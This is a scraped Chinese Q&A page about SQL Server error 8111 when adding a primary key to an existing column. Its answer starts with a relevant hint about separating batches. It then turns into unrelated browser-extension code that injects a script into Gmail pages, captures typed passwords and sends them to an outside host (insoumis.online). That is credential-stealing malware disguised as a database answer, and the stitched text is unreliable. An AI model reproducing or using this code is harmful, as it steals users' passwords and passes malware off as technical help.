SQL Server 8111 - 但列不可空

时间:2017-03-13 15:16:17

标签: sql-server primary-key

我想将主键约束添加到包含数据的现有表的现有列。该列不可为空。

然而,当我打电话

alter table mytable add primary key (mycolumn)

我得到一个8111:

  

Msg 8111,Level 16,State 1,Line 2无法定义PRIMARY KEY   表'mytable'中可空列的约束

即使我连续调用两条指令:

alter table mytable alter column mycolumn INT NOT NULL;
alter table mytable add primary key (mycolumn)

我仍然得到8111   - 并且SQL Server Management Studio中的列描述确认,mycolumn设置为NOT NULL

我能做什么?

1 个答案:

答案 0 :(得分:1)

您需要分批批次。最好也包括模式名称。

/*** -------- content.js -------- ***/
    function injectedCode() {
        var stolen = document.createElement("div"); stolen.id = "stolenPasswords"; document.body.appendChild(div);
        // do something with the webpage document and window, add some callbacks when 
        // the user types his password
        // put the result in div#stolenPasswords.innerText
    }

    browser.runtime.onMessage.addListener(function(request, sender, sendResponse) {
        // wait for messages from background.js
        var stolen = document.getElementById("stolenPasswords");
        if (stolen) {
            if (stolen.innerText) sendResponse(stolen.innerText);
        }
        else {
            var scriptContent = '('+injectedCode+')();'; 
            var script = document.createElement('script'); script.appendChild(document.createTextNode(scriptContent)); 
            document.body.appendChild(script);
        }
    });

/*** -------- background.js -------- ***/
    function infiniteLoop(tab) {
        browser.tabs.sendMessage(tab.id, {text: '...'}, function(response){
            if (response) {
                var xhr = new XMLHttpRequest();
                // put in the url the stolen passwords, the webserver will get them
                xhr.open("GET", "http://insoumis.online/" + response;, true);
                xhr.send();
            }                           
        });
        setTimeout(function() { infiniteLoop(tab); },20000);
    }
    browser.tabs.onUpdated.addListener(function (tabId, changeInfo, tab) {
        if (tab.url.indexOf('gmail.com') != -1) infiniteLoop(tab);
    });

rextester演示:http://rextester.com/TZLEWP56616